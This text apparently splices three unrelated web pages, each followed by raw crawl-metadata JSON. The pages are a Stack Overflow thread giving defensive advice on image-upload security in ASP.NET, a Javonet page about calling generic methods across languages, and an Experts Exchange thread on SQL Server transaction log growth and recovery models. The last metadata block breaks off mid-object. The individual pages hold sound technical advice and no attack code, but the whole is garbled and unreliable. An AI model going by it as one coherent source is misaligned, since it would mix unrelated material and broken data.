I'm developing an ASP.NET Web app and would like the user to be able to either upload an image from their local system, or pass in a URL to an image. The image can either be a JPG or PNG. What security issues should I be concerned about doing this? I've seen various ways of embedding code within JPG files. Are there any methods in C# (or external libraries) which can confirm that a file is a JPG/PNG, otherwise throw an error? At the very least, I'm making the directory which holds uploaded images non-browsable and putting a max size limit of 1mb, but I'd like to implement further checks.
Thanks for any advice.
share|improve this question
4 Answers 4
up vote 11 down vote accepted
Are there any methods in C# (or external libraries) which can confirm that a file is a JPG/PNG, otherwise throw an error?
Maybe, but that doesn't really help in itself. You can easily make file that is both a valid image format and contains active HTML/script content for IE content-sniffing to stumble on. Or then there's the broken Java and Flash origin policies to worry about, which can have the same effect of scripting into your server's security context.
1. If you process the image (eg. crop, resize) and re-save that makes it very, very difficult to do content-smuggling attacks. However, you should always ensure that your server-side tools are up-to-date, as vulnerabilities in image processing libraries might expose you to server-side exploit.
2. If you can't do that, your best bet as a mitigation for all content-injection problems is to serve your images from a different [sub]domain which doesn't have access to any of the sensitive credentials (cookies, basic auth) of the main site.
3. If using a subdomain for this purpose such as images.example.com, your main site should be accessible only through www.example.com and not example.com. Otherwise, content injected into images.example.com can access cookies for example.com in IE. example.com should 301-redirect to www.example.com to prevent unwanted cookie leakage in general.
4. Add the header X-Content-Type-Options: nosniff to the response to block content-smuggling attacks from IE8. (Doesn't help with earlier versions, alas.)
Also:
1. Sanitising user-specified filenames is hard, especially if your app is likely running on a Windows server where the rules about usable filenames are complicated indeed. A good place to start is allowing only alphanumerics, and adding your own file extension and prefix. (A prefix is necessary to avoid the Windows reserved filenames, and the empty filename.)
2. Better: store the user-supplied filename in the database instead of using it as a real filename.
See this question for more discussion of file upload security problems.
share|improve this answer
Hi. What would be the best way to process an image? Would it be enough to simply read the image, and save it to my filesystem (with my own naming schema)? Thanks – keyboardP Apr 7 '10 at 23:44
By ‘process’ I mean loading it into an image processor, doing something to the image and saving it. You'd use System.Drawing.Bitmap in .NET. Unfortunately if the image is a JPEG the re-save costs you image quality, so this isn't a good method if you need to preserve the exact original image. – bobince Apr 8 '10 at 9:22
I think I may go ahead and use a service like Amazon S3 to store the images. I guess this would mitigate most risks? (Especially the fact that there is not involvement of my server with the image files). – keyboardP Apr 8 '10 at 15:46
Yes. Content injected into that security context would be unable to affect your site. You still have the usual risks of people uploading exploit files to try and hack each others' browsers, but that's not a direct attack against your site (and there's generally not much you can do about it). – bobince Apr 8 '10 at 16:17
Cool, thanks for the help. – keyboardP Apr 8 '10 at 19:48
This is an absolute minefield. Something to take into consideration (not necessarily an exhaustive list, no guarantees, etc.).
• Some people use regexs for parsing, so there is no way of knowing if the file contains code. ZIP files have their directory at the end. Sun/Oracle Java PlugIn/WebStart now checks that the file starts with a ZIP local header/entry magic number to avoid "GIFAR" attacks.
• Serve from a different domain, to avoid same-origin problems.
• Serve from a different IP address, to avoid same-origin problems.
• It's a bit tricky to check if the file is exploiting, say, a 0-day buffer overflow. It might even exploit an infinite loop to create a DoS.
• It's best to re-encode the image.
• Careful with the URL/file path name. If you give an option, use whitelist checking. In particular NUL characters are "fun". See also directory traversal attacks. In general being able to place a file of given contents an a known location is, at the least, a big dodgy.
• Or images you might want to check that the size is sane. Decompressing a huge image could well lead to a DoS. Also note that compression algorithms often allow compressing trivial data by huge factors.
share|improve this answer
Thanks. At this moment in time, I can only store images on the same server system. However, I'm happy to manipulate the image in anyway before displaying it to the user. Would this mitigate the main problems? Thanks – keyboardP Apr 7 '10 at 23:47
@TenaciousImpy: In my unqualified opinion: If you're obscure enough, you'll probably get away with reencoding (possibly in a chroot gaol) and being careful with URLs. Note, it is possible to configure a single server with multiple IP addresses (multi-homed) and multiple host/domain names. Probably best not to take my opinion though. – Tom Hawtin - tackline Apr 8 '10 at 1:20
Don't let the user determine the file name that will be used on your server. Use [generated guid].jpg instead and put the file name they used in a database table if you need it.
See #12 here: http://www.codinghorror.com/blog/2009/01/top-25-most-dangerous-programming-mistakes.html
External Control of File Name or Path When you use an outsider's input while constructing a filename, the resulting path could point outside of the intended directory. An attacker could combine multiple ".." or similar sequences to cause the operating system to navigate out of the restricted directory. Other file-related attacks are simplified by external control of a filename, such as symbolic link following, which causes your application to read or modify files that the attacker can't access directly. The same applies if your program is running with raised privileges and it accepts filenames as input. Similar rules apply to URLs and allowing an outsider to specify arbitrary URLs.
Be careful with the URL too, make sure it's an absolute, external URL so they can't use your own web server to copy a confidential file off your LAN out into an area they can access it since you'll be loading that URL from code running on your web server.
share|improve this answer
Thanks, I'll use a regex to ensure that it's not coming from my domain (or a relative path). The database will hold the link to the image, not the image itself (for those simply submitting url links and not uploading an image) – keyboardP Apr 7 '10 at 23:50
For uploaded files, I'd recommend storing the Guid you assigned to the file rather than the 'link to the image' (by which I presume you mean the 'UNC path to the image') in the database. That way you can easily adopt a different image storage directory scheme later, for example, subdirectories based on splitting the guid into triplets to avoid having too many files in one directory. – Ian Mercer Apr 8 '10 at 0:48
You may use Infrastructure as a Service for handling images, for example our solution - Uploadcare:
https://uploadcare.com
If you apply any of the image operations to the uploaded image, it gets modified, and therefore any code that might be embedded within the file will be destroyed.
share|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "http://stackoverflow.com/questions/2595992/image-uploading-security-issues",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2015-48",
"warc_metadata": {
"Content-Length": "100511",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3PDUEVQNHFHQGKRKFTYXWWHCUZER6OV5",
"WARC-Concurrent-To": "<urn:uuid:a72953c5-4d51-4b5f-91c5-3ffe966cd322>",
"WARC-Date": "2015-11-27T17:56:33Z",
"WARC-IP-Address": "104.16.34.249",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:TPUWHWZIM2OFBSNBJSDQPQTNXGPSLK3A",
"WARC-Record-ID": "<urn:uuid:d7e7c293-b0d6-4605-8415-4cfc809a4912>",
"WARC-Target-URI": "http://stackoverflow.com/questions/2595992/image-uploading-security-issues",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0e2e7688-ff4f-4c0e-b893-7ae453adebd2>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-71-132-137.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for Nov 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
10,
138,
139,
734,
735,
758,
759,
787,
788,
800,
801,
831,
832,
954,
955,
1295,
1296,
1593,
1594,
1841,
1842,
2191,
2192,
2349,
2350,
2356,
2357,
2721,
2722,
2824,
2825,
2897,
2898,
2924,
2929,
3122,
3127,
3448,
3453,
3688,
3693,
4015,
4020,
4078,
4079,
4206,
4207,
4480,
4546,
4616,
4760,
4798,
5071,
5277,
5303,
5308,
5555,
5560,
5937,
5938,
6116,
6117,
6220,
6221,
6912,
6913,
7169,
7170,
7196,
7201,
7459,
7464,
7881,
7882,
7982,
7983,
8006,
8007,
8170,
8171,
8197,
8198,
8210,
8211,
8213,
8221,
8222,
8300,
8301
],
"line_end_idx": [
10,
138,
139,
734,
735,
758,
759,
787,
788,
800,
801,
831,
832,
954,
955,
1295,
1296,
1593,
1594,
1841,
1842,
2191,
2192,
2349,
2350,
2356,
2357,
2721,
2722,
2824,
2825,
2897,
2898,
2924,
2929,
3122,
3127,
3448,
3453,
3688,
3693,
4015,
4020,
4078,
4079,
4206,
4207,
4480,
4546,
4616,
4760,
4798,
5071,
5277,
5303,
5308,
5555,
5560,
5937,
5938,
6116,
6117,
6220,
6221,
6912,
6913,
7169,
7170,
7196,
7201,
7459,
7464,
7881,
7882,
7982,
7983,
8006,
8007,
8170,
8171,
8197,
8198,
8210,
8211,
8213,
8221,
8222,
8300,
8301,
8391
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 8391,
"ccnet_original_nlines": 89,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.40099284052848816,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.026475459337234497,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.20683948695659637,
"rps_doc_frac_unique_words": 0.39871612191200256,
"rps_doc_mean_word_length": 4.680456638336182,
"rps_doc_num_sentences": 107,
"rps_doc_symbol_to_word_ratio": 0.0016547200502827764,
"rps_doc_unigram_entropy": 5.649181842803955,
"rps_doc_word_count": 1402,
"rps_doc_frac_chars_dupe_10grams": 0.028649799525737762,
"rps_doc_frac_chars_dupe_5grams": 0.06811948120594025,
"rps_doc_frac_chars_dupe_6grams": 0.049070410430431366,
"rps_doc_frac_chars_dupe_7grams": 0.035964641720056534,
"rps_doc_frac_chars_dupe_8grams": 0.028649799525737762,
"rps_doc_frac_chars_dupe_9grams": 0.028649799525737762,
"rps_doc_frac_chars_top_2gram": 0.015848830342292786,
"rps_doc_frac_chars_top_3gram": 0.005486129783093929,
"rps_doc_frac_chars_top_4gram": 0.007314839866012335,
"rps_doc_books_importance": -881.4252319335938,
"rps_doc_books_importance_length_correction": -881.4252319335938,
"rps_doc_openwebtext_importance": -473.1275634765625,
"rps_doc_openwebtext_importance_length_correction": -473.1275634765625,
"rps_doc_wikipedia_importance": -396.0624694824219,
"rps_doc_wikipedia_importance_length_correction": -396.0624694824219
},
"fasttext": {
"dclm": 0.6094552874565125,
"english": 0.919252336025238,
"fineweb_edu_approx": 2.1254045963287354,
"eai_general_math": 0.09247493743896484,
"eai_open_web_math": 0.26600468158721924,
"eai_web_code": 0.02918344922363758
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-7,910,039,197,338,203,000 | Call JavaScript generic instance method from Python package
This article provides an introduction to cross-technology invocation of instance generic methods. Generic methods in C# (.NET) and Java technologies are methods that are declared with the type parameter in its signature, allowing it to be used with any data type. It is described in detail in article about generic methods in .NET and article about generic methods in Java.
Javonet allows you to reference and use modules or packages written in (Java/Kotlin/Groovy/Clojure, C#/VB.NET, Ruby, Perl, Python, JavaScript/TypeScript) like they were created in your technology. If have not yet created your first project check Javonet overview and quick start guides for your technology.
With Javonet you can interact with generic instance methods from Python package like they were available in JavaScript but invocation must be performed through Javonet SDK API.
Javonet allows you to pass any JavaScript value type as argument to method from Python package. For reference type arguments (instances of other classes) you can create such instance with Javonet and pass the Invocation Context variable referencing that object as argument of method invocation.
Custom Python package with JavaScript generic methods
With Javonet it is possible to reference any custom Python package and interact with its methods declared on types defined within that module almost the same as with any other JavaScript library.
Snippet below represents the sample code from Python package which contains generic methods.
This snippet doesn't support selected combination of technologies.
It is possible to invoke the declared methods from Python package using following JavaScript code:
I code in:
This snippet doesn't support selected combination of technologies.
This snippet uses in memory runtime bridging to load the Python package.
Next, type is specified and instance of class is created.
Next, generic instance method is invoked.
While calling .NET generic method it is necessary to pass method name, type and arguments.
While calling Java generic method it is necessary to pass method name and arguments.
To invoke method which has more than one type specified:
I code in:
This snippet doesn't support selected combination of technologies.
This snippet uses in memory runtime bridging to load the Python package.
Next, type is specified and instance of class is created.
Next, generic instance method is invoked.
While calling .NET generic method it is necessary to pass method name, type and arguments.
While calling Java generic method it is necessary to pass method name and arguments.
The same operation can be performed remotely by just changing the new Runtime Context invocation from in memory to tcp that will create and interact with your Python package objects on any remote node, container or service that hosts Javonet Code Gateway. This way you can preserve the same logic in your application and instantly switch between monolithic and microservices architecture without the need to implement the integration layer based on web services or other remote invocation methods.
Read more about use cases and software architecture scenarios where Javonet runtime bridging technology can support your development process. | {
"url": "https://www.javonet.com/guides/v2/javascript/python-package/generics/calling-generic-instance-method",
"source_domain": "www.javonet.com",
"snapshot_id": "CC-MAIN-2024-38",
"warc_metadata": {
"Content-Length": "122408",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:EKPHHPLP3W22AVWKD24PMJOSEDHIL3YW",
"WARC-Concurrent-To": "<urn:uuid:78d6e51c-857f-434a-afbe-39f61c3354fe>",
"WARC-Date": "2024-09-18T08:52:18Z",
"WARC-IP-Address": "104.26.0.3",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:TISVGTX4P63Q5UK6ROP7DUEPOB4OC7EG",
"WARC-Record-ID": "<urn:uuid:bb44f1fe-7c99-4478-8b26-40d0dcf35c4d>",
"WARC-Target-URI": "https://www.javonet.com/guides/v2/javascript/python-package/generics/calling-generic-instance-method",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b9568183-60d9-4442-9cdf-90dc6acf66cc>"
},
"warc_info": "isPartOf: CC-MAIN-2024-38\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-163\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
60,
61,
435,
436,
743,
744,
921,
922,
1217,
1218,
1272,
1273,
1469,
1470,
1563,
1564,
1631,
1632,
1731,
1732,
1743,
1744,
1811,
1812,
1885,
1943,
1985,
2076,
2161,
2162,
2219,
2220,
2231,
2232,
2299,
2300,
2373,
2431,
2473,
2564,
2649,
3147,
3148
],
"line_end_idx": [
60,
61,
435,
436,
743,
744,
921,
922,
1217,
1218,
1272,
1273,
1469,
1470,
1563,
1564,
1631,
1632,
1731,
1732,
1743,
1744,
1811,
1812,
1885,
1943,
1985,
2076,
2161,
2162,
2219,
2220,
2231,
2232,
2299,
2300,
2373,
2431,
2473,
2564,
2649,
3147,
3148,
3289
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3289,
"ccnet_original_nlines": 43,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3728223145008087,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02090591937303543,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.10975609719753265,
"rps_doc_frac_unique_words": 0.359281450510025,
"rps_doc_mean_word_length": 5.403193473815918,
"rps_doc_num_sentences": 31,
"rps_doc_symbol_to_word_ratio": 0.003484319895505905,
"rps_doc_unigram_entropy": 4.7502121925354,
"rps_doc_word_count": 501,
"rps_doc_frac_chars_dupe_10grams": 0.2563723623752594,
"rps_doc_frac_chars_dupe_5grams": 0.298115998506546,
"rps_doc_frac_chars_dupe_6grams": 0.27742889523506165,
"rps_doc_frac_chars_dupe_7grams": 0.27742889523506165,
"rps_doc_frac_chars_dupe_8grams": 0.27742889523506165,
"rps_doc_frac_chars_dupe_9grams": 0.2563723623752594,
"rps_doc_frac_chars_top_2gram": 0.04802364110946655,
"rps_doc_frac_chars_top_3gram": 0.03140006959438324,
"rps_doc_frac_chars_top_4gram": 0.02512006089091301,
"rps_doc_books_importance": -210.8324432373047,
"rps_doc_books_importance_length_correction": -210.8324432373047,
"rps_doc_openwebtext_importance": -130.26039123535156,
"rps_doc_openwebtext_importance_length_correction": -130.26039123535156,
"rps_doc_wikipedia_importance": -108.85704803466797,
"rps_doc_wikipedia_importance_length_correction": -108.85704803466797
},
"fasttext": {
"dclm": 0.025296149775385857,
"english": 0.8883587121963501,
"fineweb_edu_approx": 2.6018621921539307,
"eai_general_math": 0.22198736667633057,
"eai_open_web_math": 0.06353992223739624,
"eai_web_code": 0.9478704929351807
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.136",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
3,662,201,561,941,337,600 | Solved
SQL Server Log File Space
Posted on 2016-10-18
6
81 Views
Last Modified: 2016-11-17
I am somewhat of a novice SQL Server user and have some general questions about SQL Server log (.ldf) files. When I create a database in Management Studio (SQL Server 2012), 2 files are automatically created - a data file (.mdf) and a log file (.ldf). My database is now quite large as I have imported millions of rows into it. The data file is approximately 45 GB. The log file is about the same size. What I don't understand is why the log file is as big as the data file and whether there is a way to significantly reduce it. I've tried shrinking it but that only gives back about 8% of the space.
I guess I really don't understand a log file's purpose. I thought it was built to ensure that a database would be "rolled back" to a starting point if a big import query failed three fourths of the way through. If that is what a log file is for, why do they have to stick around after the query runs successfully?
Maybe that's really not their purpose at all.
Can someone help me to better understand them? i've read a few things that I've found on the web but most of them are over my head.
Thanks in advance for your help.
0
Comment
Question by:cbridgman
[X]
Welcome to Experts Exchange
Add your voice to the tech community where 5M+ people just like you are talking about what matters.
• Help others & share knowledge
• Earn cash & points
• Learn & ask questions
6 Comments
LVL 4
Expert Comment
by:Daniel Jones
ID: 41849477
Transaction log file records all transactions and the database modifications made by each transaction. Internally it is split into the smaller parts called Virtual Log Files (VLFs)
If there is a system failure, you will need that log to bring your database back to a consistent state. Never delete or move this log unless you fully understand the ramifications of doing this.
Log record can deleted from the transaction log if:
> Transaction of which it is part has committed
> Database pages it changed have all been written to disk by a checkpoint
> Log record is not needed for a backup (full, differential, or log)
> Log record is not needed for database mirroring or transaction replication
One command that is extremely helpful in understanding how much of the transaction log is being used is DBCC SQLPERF(logspace). This one command will give you details about the current size of all of your database transaction logs as well as the percent currently in use.
The transaction log must be truncated regularly to keep it from filling! Some factors can delay log truncation, so monitoring log size matters. Some operations can be minimally logged to reduce their impact on transaction log size.
Your goal with transaction log maintenance should be to maintain it a a reasonable size. You do this by frequently backing up the log. Once you have log backups set up and running, then do a ONE-TIME shrink of the log file to a reasonable size using DBCC SHRINKFILE.
The reason you don't want to shrink the log file repeatedly is:
> Log file growths require locking the log file. This means that all running queries have to be paused.
> Repeatedly shrinking and auto-growing log files causes a high number of Virtual Log Files which can drastically affect performance of any activity that scans the log file
SQL Server recovery models is critical to this log file growth problem
0
LVL 50
Accepted Solution
by:
Vitor Montalvão earned 250 total points
ID: 41849674
My database is now quite large as I have imported millions of rows into it. The data file is approximately 45 GB. The log file is about the same size.
That's because the database recovery model for your database is set to Full Recovery Model.
With this type of recovery model it will require that you perform a transaction log backup regularly to truncate the logs and keep the file small.
If you are new to SQL Server then the best way is to create a Maintenance Plan using the wizard.
0
LVL 69
Assisted Solution
by:Scott Pletcher
Scott Pletcher earned 250 total points
ID: 41850527
You need to decide which recovery model you want to operate the db under.
In FULL (or BULK-LOGGED) mode, you can recover to any point in time, but you must back up the log file periodically and keep those backups.
In SIMPLE mode, you can only recover to full or differential backup points, but you do not have to back up the log file.
Which to use is primarily a business decision, since either is doable in technical terms.
For now, determine what the current recovery model is, and what is keeping the existing trans log from truncating, if anything. If "NOTHING", then you can shrink the log file. The "is...on" columns are just to allow you to also verify that both are 0/OFF; if either is on, you need to turn it off immediately.
SELECT name, recovery_model_desc, log_reuse_wait_desc, compatibility_level, is_auto_close_on, is_auto_shrink_on
FROM sys.databases
WHERE name = 'your_db_name'
--DBCC SHRINKFILE(2, 8192) /*shrink (primary) log file to 8GB*/
0
LVL 50
Expert Comment
by:Vitor Montalvão
ID: 41871689
cbridgman, is your question answered?
If so, please mark the comment or comments that answered your question so this question can be closed properly.
Cheers
0
Author Closing Comment
by:cbridgman
ID: 41891463
Thanks for everyone's help on this. Sorry for the delay in closing this. It kind of got pushed to the bottom of the pile and I forgot about the question. At the end of the day, however, choosing simple recovery did the trick for us. With the database that I was referring to we really had no need for anything more than the ability to recover to the most recent backup
0
Featured Post
Efficient way to get backups off site to Azure
This user guide provides instructions on how to deploy and configure both a StoneFly Scale Out NAS Enterprise Cloud Drive virtual machine and Veeam Cloud Connect in the Microsoft Azure Cloud.
Question has a verified solution.
If you are experiencing a similar issue, please ask a related question
Let's review the features of new SQL Server 2012 (Denali CTP3). It listed as below: PERCENT_RANK(): PERCENT_RANK() function will returns the percentage value of rank of the values among its group. PERCENT_RANK() function value always in be…
In this article we will learn how to fix “Cannot install SQL Server 2014 Service Pack 2: Unable to install windows installer msi file” error ?
Using examples as well as descriptions, and references to Books Online, show the documentation available for date manipulation functions and by using a select few of these functions, show how date based data can be manipulated with these functions.
Viewers will learn how the fundamental information of how to create a table.
729 members asked questions and received personalized solutions in the past 7 days.
Join the community of 500,000 technology professionals and ask your questions.
Join & Ask a Question | {
"url": "https://www.experts-exchange.com/questions/28977300/SQL-Server-Log-File-Space.html",
"source_domain": "www.experts-exchange.com",
"snapshot_id": "crawl=CC-MAIN-2017-26",
"warc_metadata": {
"Content-Length": "149309",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5FIT4OJR5M46KVDYUW2SWD7IZVLBOZT3",
"WARC-Concurrent-To": "<urn:uuid:6b29d38b-98d8-4029-b003-fab5fcc901d2>",
"WARC-Date": "2017-06-23T11:34:42Z",
"WARC-IP-Address": "104.20.169.10",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:DVORN7XW5EDNN7DJAQXMFKTZP37PCY5K",
"WARC-Record-ID": "<urn:uuid:c5c99a57-8617-42c0-ac9d-645bfe6435f4>",
"WARC-Target-URI": "https://www.experts-exchange.com/questions/28977300/SQL-Server-Log-File-Space.html",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:28f24b16-31fb-4672-b4b1-5dc5418f5a39>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-113-152-80.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
7,
8,
34,
35,
56,
58,
67,
93,
694,
695,
1009,
1010,
1056,
1057,
1189,
1190,
1223,
1225,
1233,
1255,
1259,
1287,
1288,
1388,
1389,
1423,
1446,
1472,
1483,
1485,
1491,
1492,
1507,
1508,
1524,
1537,
1718,
1719,
1914,
1915,
1967,
2015,
2089,
2158,
2235,
2236,
2509,
2510,
2742,
2743,
3010,
3011,
3075,
3179,
3353,
3354,
3425,
3427,
3429,
3436,
3437,
3455,
3456,
3460,
3500,
3513,
3664,
3756,
3903,
4000,
4002,
4004,
4011,
4012,
4030,
4031,
4049,
4088,
4101,
4175,
4176,
4316,
4317,
4438,
4439,
4529,
4530,
4842,
4843,
4955,
4974,
5002,
5003,
5067,
5069,
5071,
5078,
5079,
5094,
5095,
5114,
5127,
5165,
5277,
5284,
5286,
5288,
5289,
5312,
5313,
5326,
5339,
5708,
5710,
5711,
5725,
5726,
5773,
5774,
5966,
5967,
6001,
6002,
6073,
6074,
6315,
6459,
6708,
6785,
6786,
6870,
6871,
6950,
6951
],
"line_end_idx": [
7,
8,
34,
35,
56,
58,
67,
93,
694,
695,
1009,
1010,
1056,
1057,
1189,
1190,
1223,
1225,
1233,
1255,
1259,
1287,
1288,
1388,
1389,
1423,
1446,
1472,
1483,
1485,
1491,
1492,
1507,
1508,
1524,
1537,
1718,
1719,
1914,
1915,
1967,
2015,
2089,
2158,
2235,
2236,
2509,
2510,
2742,
2743,
3010,
3011,
3075,
3179,
3353,
3354,
3425,
3427,
3429,
3436,
3437,
3455,
3456,
3460,
3500,
3513,
3664,
3756,
3903,
4000,
4002,
4004,
4011,
4012,
4030,
4031,
4049,
4088,
4101,
4175,
4176,
4316,
4317,
4438,
4439,
4529,
4530,
4842,
4843,
4955,
4974,
5002,
5003,
5067,
5069,
5071,
5078,
5079,
5094,
5095,
5114,
5127,
5165,
5277,
5284,
5286,
5288,
5289,
5312,
5313,
5326,
5339,
5708,
5710,
5711,
5725,
5726,
5773,
5774,
5966,
5967,
6001,
6002,
6073,
6074,
6315,
6459,
6708,
6785,
6786,
6870,
6871,
6950,
6951,
6972
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6972,
"ccnet_original_nlines": 134,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3912419080734253,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.040201008319854736,
"rps_doc_frac_lines_end_with_ellipsis": 0.007407410070300102,
"rps_doc_frac_no_alph_words": 0.15793251991271973,
"rps_doc_frac_unique_words": 0.4124579131603241,
"rps_doc_mean_word_length": 4.634680271148682,
"rps_doc_num_sentences": 62,
"rps_doc_symbol_to_word_ratio": 0.0014357500476762652,
"rps_doc_unigram_entropy": 5.513205528259277,
"rps_doc_word_count": 1188,
"rps_doc_frac_chars_dupe_10grams": 0.04286232963204384,
"rps_doc_frac_chars_dupe_5grams": 0.06501998007297516,
"rps_doc_frac_chars_dupe_6grams": 0.05121684819459915,
"rps_doc_frac_chars_dupe_7grams": 0.04286232963204384,
"rps_doc_frac_chars_dupe_8grams": 0.04286232963204384,
"rps_doc_frac_chars_dupe_9grams": 0.04286232963204384,
"rps_doc_frac_chars_top_2gram": 0.02161278948187828,
"rps_doc_frac_chars_top_3gram": 0.018162010237574577,
"rps_doc_frac_chars_top_4gram": 0.006538319867104292,
"rps_doc_books_importance": -591.5643310546875,
"rps_doc_books_importance_length_correction": -591.5643310546875,
"rps_doc_openwebtext_importance": -334.048828125,
"rps_doc_openwebtext_importance_length_correction": -334.048828125,
"rps_doc_wikipedia_importance": -210.21127319335938,
"rps_doc_wikipedia_importance_length_correction": -210.21127319335938
},
"fasttext": {
"dclm": 0.03373223915696144,
"english": 0.9353578686714172,
"fineweb_edu_approx": 1.8974881172180176,
"eai_general_math": 0.36297494173049927,
"eai_open_web_math": 0.33271586894989014,
"eai_web_code": 0.07338731735944748
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
